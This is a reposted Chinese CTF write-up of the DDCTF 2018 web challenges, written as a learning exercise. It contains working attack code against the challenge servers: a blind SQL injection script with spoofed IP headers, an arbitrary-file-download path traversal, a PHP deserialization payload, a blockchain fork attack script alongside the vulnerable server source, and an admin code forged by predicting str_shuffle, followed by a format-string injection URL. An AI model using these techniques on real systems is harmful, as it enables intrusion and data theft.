内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

DDCTF-2018 WEB WRITEUP

2018-05-15 12:37 出处:清屏网 人气: 评论(0

工作需要较强的web安全能力,所以我想通过打ctf的web类题目来提高这方面的水平,以下为这次didictf web类的题解。

web1

非法链接的问题,直接在http头中加入以下键值对绕过

X-Originating-IP: 123.232.23.245
X-Forwarded-For: 123.232.23.245
X-Remote-IP: 123.232.23.245
X-Remote-Addr: 123.232.23.245

其实也可以配置burp的插件bypass waf( https://www.codewatch.org/blog/?p=408 ) ,来绕过限制正常在客户端浏览。

emmm…明显考察注入,不过这边的注入点比较隐蔽,在 author 参数这儿,页面上隐藏了输入点,我们可以直接写python脚本通过盲注的手法跑出flag

import requests
import time
import hashlib

s = ''
for index in range(1,0x20):
	for i in range(0x30,0x7f):
		id = ""
		title = ""
		date = ""
		author = "-1'||if(ord(substr((select secvalue from ctf_key9 limit 0,1),"+str(index)+",1))="+str(i)+",0,1)#"

		# select * from content where id = ? and author = ' -1' || ' and date = ' = 'a' union '

		proxies = {"http":"127.0.0.1:8080"}

		data = { "id":id,
		"title":title,
		"author":author,
		"data":date,
		"button":"search"
		}



		t = str(int(time.time()))

		str0 = 'id='+id+'title='+title+'author='+author+'date='+date+'time='+t+'adrefkfweodfsdpiru'


		sig = hashlib.sha1(str0).hexdigest()


		ip = '123.232.23.245'
							
		headers  = {'X-Originating-IP': ip,
		'X-Forwarded-For': ip,
		'X-Remote-IP': ip,
		'X-Remote-Addr': ip,
		'X-Client-IP': ip,
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
		'Referer':"http://123.232.23.245/"
		}


		if len(requests.post(url="http://116.85.43.88:8080/NQYPTEMNWRQIYLEP/dfe3ia/index.php?sig="+sig+"&time="+str(int(time.time())),data=data,headers=headers,proxies=proxies).content) != 2420:
			s += chr(i)
			break
	print s
	# print str0

web2

web2的难度明显要比web1要高。

点击链接进去后,直接 ctrl+u 看源码,发现了可疑的链接

ZmF2aWNvbi5pY28= base64解码后,发现是 favicon.ico ,初步判断该 api 应该存在任意文件下载漏洞。

接下来通过构造 web.xml 的地址( ../../WEB-INF/web.xml —base64>>> Li4vLi4vV0VCLUlORi93ZWIueG1s ),并利用该漏洞,下载该配置文件。

下载完了以后分析该 web.xml 文件,在文件内发现其他关联的文件,仿照上一步操作,将所有相关的文件都下载到本地分析。

web.xml 中发现该 class 文件

下载至本地后,用 GD-GUI 分析发现为 flag 的加密算法

但是我们缺少关键的 emailflag 密文,继续寻找相关文件,开了下脑洞,猜测控制器文件 FlagController.class ,没想到真的有233333 下载下来分析。如图,只要我们给 email 就给我们加密后的 flag 233333

回到首页,发现 email 。。。

所有条件都齐全了,逆向算法,最后写出了对应的解密脚本

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyStore;
import java.security.PublicKey;  
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.UnrecoverableKeyException;
import java.security.cert.CertificateException;
import java.util.Properties;
import java.util.UUID;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.Mac;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import sun.misc.BASE64Decoder;  
import sun.misc.BASE64Encoder;  

class decrypt
{
 public static byte[] decryptBASE64(String key) throws Exception {  
        return (new BASE64Decoder()).decodeBuffer(key);  
    }  
	public static void main(String[] args)
	{
		try{
		KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
		FileInputStream inputStream = new FileInputStream("C:\\Users\\Administrator\\Desktop\\ddctf\\web2\\key\\sdl.ks");
		keyStore.load(inputStream, "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "").toCharArray());
		
		PublicKey key = keyStore.getCertificate("www.didichuxing.com").getPublicKey();  
		System.out.println(key);
		Cipher cipher = Cipher.getInstance(key.getAlgorithm());
		cipher.init(2, key); 
		
		byte[] text = decryptBASE64("S1EgULNQ7TlSYnuzagfIe5gfmjYWZRJE7YBSKoaOGmYZ6yjkmbapuNDyQDiUyjV2mKDGm2hnhkgwA6l0qsdvD9uSOjStWMHHYerOZGvk8epWSQ8YYn2pWArUlV7m2e4nV6oqKYYXRMJVO8776JX00OY/MmUeaj6XoAHk4cWar3BpwAfLw3hsUYDM1NoVjBkPy/SS/DHDhf9YsM+3kF3hNmyUc7tqTvvb/1gzovigpmoAIzc8FDxeaBprG+084bkoIiMlBs8cUyUyZq4x7PD6jvVkb00kHUeVERPFIVxlbS1ph4jS+Wy6yd3GNaYe0wUUwoxd/5MiSG4Z4l4miFX8SQ==");
		
		
		byte[] doFinal = cipher.doFinal(text); 
		
		
		System.out.println(byte2hex(doFinal));
		}
		catch(Exception e)
		{
			System.out.println("e:"+e);
		}
	}
	  public static String byte2hex(byte[] b)
  {
    StringBuilder hs = new StringBuilder();
    for (int n = 0; (b != null) && (n < b.length); n++)
    {
      String stmp = Integer.toHexString(b[n] & 0xFF);
      if (stmp.length() == 1) {
        hs.append('0');
      }
      hs.append(stmp);
    }
    return hs.toString().toUpperCase();
  }
}

web3

一开始以为是宽字节注入,试了很多方式都没试出来,突然看到了提示,如图,链接过去是一篇关于big编码说明的文件。。。

那思路很明确了,找一个big编码的字,第二位字节为 0x5c\ 转义掉gpc生成的 \ 最后成功逃逸单引号 \\'

接下来就是常规注入了,注入完毕后发现,并没有flag。。。只有一个备份文件。。。算了,下载下来备份文件代码审计吧。

发现竟然有个 api 接受一个字符串并反序列,直接就get到了考点, 构造反序列化执行链,获取flag

这个反序列执行链很简单

<?

class Flag
{
    public $sql;

    //
    public function __construct()
    {
        $this->sql=new SQL();
    }

}

class SQL
{
    

    public function FlagGet($user)
    {
      return "";
    }

}

class Test
{

    public $user_uuid;
    public $fl;


}

$t =  new Test();
$t->fl = new Flag();
$t->user_uuid = "c09764a2-8d31-4643-907a-5d663b9348dc";

echo serialize($t);

?>

生成 O:4:"Test":2:{s:9:"user_uuid";s:36:"c09764a2-8d31-4643-907a-5d663b9348dc";s:2:"fl";O:4:"Flag":1:{s:3:"sql";O:3:"SQL":0:{}}} 不过要把类名称改成 "Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test" 这种形式才能在远程环境执行。

最后的payload为

O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"c09764a2-8d31-4643-907a-5d663b9348dc";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":0:{}}}

web4

有关于区块链的代码审计,也是第一次接触到区块链的具体原理,分析了一天,收获蛮大的,这边其实可以利用 区块链分叉攻击 来实现bank未被hack掉的区块链链路(只要这个链路比被hack掉的链路长就可以了。)

mini区块链源码如下(对学习区块链还是挺有意思):

# -*- encoding: utf-8 -*-
# written in python 2.7

import hashlib, json, rsa, uuid
from flask import Flask, session, redirect, url_for, escape, request
import requests

app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b9744af30897e'

def FLAG():
    return 'Here is your flag: DDCTF{******************}'

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
    
def hash_reducer(x, y):
    return hash(hash(x)+hash(y))
    
def has_attrs(d, attrs):
    if type(d) != type({}): raise Exception("Input should be a dict/JSON")
    for attr in attrs:
        if attr not in d:
            raise Exception("{} should be presented in the input".format(attr))

EMPTY_HASH = '0'*64

def addr_to_pubkey(address):
    return rsa.PublicKey(int(address, 16), 65537)
    
def pubkey_to_address(pubkey):
    assert pubkey.e == 65537
    hexed = hex(pubkey.n)
    if hexed.endswith('L'): hexed = hexed[:-1]
    if hexed.startswith('0x'): hexed = hexed[2:]
    return hexed
    
def gen_addr_key_pair():
    pubkey, privkey = rsa.newkeys(384)
    return pubkey_to_address(pubkey), privkey

bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()

my_address, my_privkey = gen_addr_key_pair()

def sign_input_utxo(input_utxo_id, privkey):
    return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
    
def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
    
def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo
    
def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])
    
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
    tx['hash'] = hash_tx(tx)
    return tx
    
def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
    
def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block
    
def find_blockchain_tail():
    return max(session['blocks'].values(), key=lambda block: block['height'])
    
def calculate_utxo(blockchain_tail):
    curr_block = blockchain_tail
    blockchain = [curr_block]
    while curr_block['hash'] != session['genesis_block_hash']:
        curr_block = session['blocks'][curr_block['prev']]
        blockchain.append(curr_block)
    blockchain = blockchain[::-1]
    utxos = {}
    for block in blockchain:
        for tx in block['transactions']:
            for input_utxo_id in tx['input']:
                del utxos[input_utxo_id]
            for utxo in tx['output']:
                utxos[utxo['id']] = utxo
    return utxos
        
def calculate_balance(utxos):
    balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
    for utxo in utxos.values():
        if utxo['addr'] not in balance:
            balance[utxo['addr']] = 0
        balance[utxo['addr']] += utxo['amount']
    return balance

def verify_utxo_signature(address, utxo_id, signature):
    try:
        return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
    except:
        return False

def append_block(block, difficulty=int('f'*64,16)):
    has_attrs(block, ['prev', 'nonce', 'transactions'])
    
    if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
    if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
    # print session['blocks']
    # print ['prev']
    if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
    tail = session['blocks'][block['prev']]
    utxos = calculate_utxo(tail)
    
    if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
    new_utxo_ids = set()
    for tx in block['transactions']:
        has_attrs(tx, ['input', 'output', 'signature'])
        
        for utxo in tx['output']:
            has_attrs(utxo, ['amount', 'addr', 'id'])
            if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
            if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
            if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
            if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
            new_utxo_ids.add(utxo['id'])
            if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
            if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
            if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
            try:
                addr_to_pubkey(utxo['addr'])
            except:
                raise Exception("invalid type of address({})".format(utxo['addr']))
            utxo['hash'] = hash_utxo(utxo)
        tot_output = sum([utxo['amount'] for utxo in tx['output']])
        
        if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
        if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
        if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
        tot_input = 0
        tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
        tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
        for utxo_id, signature in zip(tx['input'], tx['signature']):
            if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
            print utxos
            if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
            utxo = utxos[utxo_id]
            if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
            if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
                raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
            tot_input += utxo['amount']
            del utxos[utxo_id]
        if tot_output > tot_input:
            raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
        tx['hash'] = hash_tx(tx)
    
    block = create_block(block['prev'], block['nonce'], block['transactions'])
    # print block['hash']
    block_hash = int(block['hash'], 16)
    # print block_hash
    # print difficulty
    if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
    block['height'] = tail['height']+1
    if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
    if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
    session['blocks'][block['hash']] = block
    session.modified = True
    
def init():
    if 'blocks' not in session:
        session['blocks'] = {}
        session['your_diamonds'] = 0
    
        # First, the bank issued some DDCoins ...
        total_currency_issued = create_output_utxo(bank_address, 1000000)
        # print "lalala:"+str(total_currency_issued)
        genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
        # print genesis_transaction
        genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
        session['genesis_block_hash'] = genesis_block['hash']
        genesis_block['height'] = 0
        session['blocks'][genesis_block['hash']] = genesis_block
        
        # Then, the bank was hacked by the hacker ...
        handout = create_output_utxo(hacker_address, 999999)
        reserved = create_output_utxo(bank_address, 1)
        transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
        # print transferred
        second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
        append_block(second_block)
        
        # Can you buy 2 diamonds using all DDCoins?
		

        # print transferred
        third_block = create_block(second_block['hash'], 'a empty block', [])
        append_block(third_block)

		# final
        # handout2 = create_output_utxo(hacker_address, 1)
        # transferred = create_tx([total_currency_issued['id']], [handout2], bank_privkey)
		
        # fake_second_block = create_block(genesis_block['hash'], "aaaa", [])
        # requests.post(url="http://127.0.0.1:5000/b9744af30897e/create_transaction",data=json.dumps(fake_second_block),proxies = {"http":"http://127.0.0.1:8080"},headers={"Content-Type":"application/json"})
        # append_block(fake_second_block)
        # fake_third_block = create_block(fake_second_block['hash'], "aaaa", [])
        # append_block(fake_third_block)
        # fake_fourth_block = create_block(fake_third_block['hash'], "aaaa", [])
        # append_block(fake_fourth_block)
		
        # try:
			# print "start attack!"
			# x = 0
			# while x <0xfffffff:
				# fouth_block = create_block(third_block['hash'], str(x), [transferred])
				
				# if int(fouth_block["hash"],16)<= DIFFICULTY:
					# print fouth_block
					# break
				# x+=1
			
        # except:
			# print "end at ",hex(x)
		# print "end!"
		
		# append_block(fouth_block)
		
def get_balance_of_all():
    init()
    tail = find_blockchain_tail()
    utxos = calculate_utxo(tail)
    return calculate_balance(utxos), utxos, tail
    
@app.route(url_prefix+'/')
def homepage():
    balance, utxos, _ = get_balance_of_all()
    genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
    addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
    balance_info = 'Balance of all addresses: ' + json.dumps(balance)
    utxo_info = 'All utxos: ' + json.dumps(utxos)
    blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
    view_source_code_link = "<a href='source_code'>View source code</a>"
    return '<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info])
    
    
@app.route(url_prefix+'/flag')
def getFlag():
    init()
    if session['your_diamonds'] >= 2: return FLAG()
    return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address
    
def find_enough_utxos(utxos, addr_from, amount):
    collected = []
    for utxo in utxos.values():
        if utxo['addr'] == addr_from:
            amount -= utxo['amount']
            collected.append(utxo['id'])
        if amount <= 0: return collected, -amount
    raise Exception('no enough DDCoins in ' + addr_from)
    
def transfer(utxos, addr_from, addr_to, amount, privkey):
    input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
    outputs = [create_output_utxo(addr_to, amount)]
    if the_change != 0:
        outputs.append(create_output_utxo(addr_from, the_change))
    return create_tx(input_utxo_ids, outputs, privkey)
    
@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
    balance, utxos, tail = get_balance_of_all()
    if balance[bank_address] == 0: return 'The bank has no money now.'
    try:
        address = str(address)
        addr_to_pubkey(address) # to check if it is a valid address
        transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
        new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
        append_block(new_block)
        return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
    except Exception, e:
        return 'ERROR: ' + str(e)

DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
    init()
    try:
        # print request.data
        block = json.loads(request.data)
        append_block(block, DIFFICULTY)
        msg = 'transaction finished.'
    except Exception, e:
        return str(e)
        
    balance, utxos, tail = get_balance_of_all()
    if balance[shop_address] == 1000000:
        # when 1000000 DDCoins are received, the shop will give you a diamond
        session['your_diamonds'] += 1
        # and immediately the shop will store the money somewhere safe.
        transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
        new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
        append_block(new_block)
        msg += ' You receive a diamond.'
    return msg
    
        
# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
    if 'blocks' in session: del session['blocks']
    if 'genesis_block_hash' in session: del session['genesis_block_hash']
    return 'reset.'
    
@app.route(url_prefix+'/source_code')
def show_source_code():
    source = open('serve.py', 'r')
    html = ''
    for line in source:
        html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
    source.close()
    return html
    
if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

payload代码如下

from  server import *
import requests
import re
x = 0

ip = "116.85.48.107"
port = "5000"


r = requests.get("http://"+ip+":"+port+"/b9744af30897e/")


genesis_block = re.findall(r'genesis block: (.*)<br /><br />',r.content)[0]
shop_addr = re.findall(r"the shop's addr: (.*)<br /><br />",r.content)[0]
cookie = r.headers["Set-Cookie"]

# print shop_addr

# print genesis_block
block_hash = genesis_block


try:
	print "start attack!"
	for i in range(0,3):
		while x <0xfffffff:
			new_block =  create_block(block_hash, str(x), [])
			x+=1
			if  int(new_block["hash"],16) <= DIFFICULTY:
				r = requests.post(url="http://"+ip+":"+port+"/b9744af30897e/create_transaction",data=json.dumps(new_block),proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie,"Content-Type":"application/json"})
				
				cookie = r.headers["Set-Cookie"]
				block_hash = new_block['hash']
				
				break
			
		
	r = requests.get(url="http://"+ip+":"+port+"/b9744af30897e/5ecr3t_free_D1diCoin_b@ckD00r/"+shop_addr,proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie})
	
	cookie = r.headers["Set-Cookie"]
	block_hash = genesis_block

except Exception,e:
	print "end at ",hex(x)
	print e
print "end!"


try:
	print "start attack!"
	for i in range(0,5):
		while x <0xfffffff:
			new_block =  create_block(block_hash, str(x), [])
			x+=1
			if  int(new_block["hash"],16) <= DIFFICULTY:
				r = requests.post(url="http://"+ip+":"+port+"/b9744af30897e/create_transaction",data=json.dumps(new_block),proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie,"Content-Type":"application/json"})
				
				cookie = r.headers["Set-Cookie"]
				block_hash = new_block['hash']
				
				break
			
		
	r = requests.get(url="http://"+ip+":"+port+"/b9744af30897e/5ecr3t_free_D1diCoin_b@ckD00r/"+shop_addr,proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie})
	
	cookie = r.headers["Set-Cookie"]
	block_hash = genesis_block

except Exception,e:
	print "end at ",hex(x)
	print e
print "end!"


while x <0xfffffff:
	new_block =  create_block(block_hash, str(x), [])
	x+=1
	if  int(new_block["hash"],16) <= DIFFICULTY:
		r = requests.post(url="http://"+ip+":"+port+"/b9744af30897e/create_transaction",data=json.dumps(new_block),proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie,"Content-Type":"application/json"})
		
		cookie = r.headers["Set-Cookie"]
		block_hash = new_block['hash']
		
		break
		
print requests.get(url="http://"+ip+":"+port+"/b9744af30897e/flag",proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie}).content

web5

看到提示,直接下载源码,代码审计ing

发现首页存在sql注入,但是需要admin的权限才能进行注入,而注册成为admin则需要一个code,则个code由 str_shuffle 这个关键函数函数生成。

通过谷歌搜索这个函数的相关缺陷,发现这个函数内部是由rand()函数来决定随机性的,那么接下来就好办了。

rand()函数是一个可预测的伪随机函数,具体可以参考 http://www.yqxiaojunjie.com/index.php/archives/275/

再分析下 RAND_RANGE 的构成

于是根据str_shuffle的源码,来实现python版本的 str_shuffle ,写出对应的预测算法。python脚本如下

import requests
import re

s = requests.Session()

l  = [0]*200
for i in range(0,50):
	l[i] = re.findall(r'csrf" value="(.*)"',s.get("http://116.85.39.110:5032/2096b322e99ffc1a59891b972c0fa612/login.php").content)[0]
	# l[i] = s.get("http://192.168.148.137/rand.php").content
	print i,l[i]

for i in range(32,112):
	m  = (int(l[i-3])+int(l[i-31])) % 2147483647
	if i >=50:
		print "*",i,m,l[i-3],l[i-31],m,float(m) * (62-(i-49)) / 2147483647 
		l[i] = m
		continue
	print i,l[i],l[i-3],l[i-31],m

	


i = 50	
org_str  = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')

str_len = len(org_str) - 1

while(str_len):
	# rnd_index = int(round(float(l[i]) * (str_len+0) / 2147483647))
	 # (__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
	min = 0
	rnd_index = l[i]
	rnd_index = min +int( (float(str_len) - min +1.0) * (rnd_index / (2147483647+1.0)) )
	if rnd_index != str_len:
		temp = org_str[str_len]
		org_str[str_len] = org_str[rnd_index]
		org_str[rnd_index] = temp
	
	print ''.join(org_str)
	str_len -=1
	i+=1


# a = org_str[:32]

data = {"csrf": l[49],
"username": "winter3un2",
"password": "123456",
"code": "admin###"+"".join(org_str)[:32]
}

print s.post("http://116.85.39.110:5032/2096b322e99ffc1a59891b972c0fa612/register.php",data=data).content

注册登陆后,利用sprinf函数中 % 会吞掉下一个字符的特性,具体参考 https://www.cnblogs.com/test404/p/7821884.html 构造注入payload

http://116.85.39.110:5032/2096b322e99ffc1a59891b972c0fa612/?id=%20union%20select%201,2,f14g%20%20from%20key%20%23&title=%1$%27%1$s

web6

首页源码中有用户名密码,登陆后发现一个存在任意文件下载漏洞的api,利用这个api下载源码分析。。。。

没分析出来啊! 虽然知道是ssrf ,super admin 的用户名也拿到了,但是登陆不了啊,接下去怎么玩啊,求指点!

分享给小伙伴们:
本文标签: SQL注入区块链开发

相关文章

发表评论愿您的每句评论,都能给大家的生活添色彩,带来共鸣,带来思索,带来快乐。

CopyRight © 2015-2016 QingPingShan.com , All Rights Reserved.

清屏网 版权所有 豫ICP备15026204号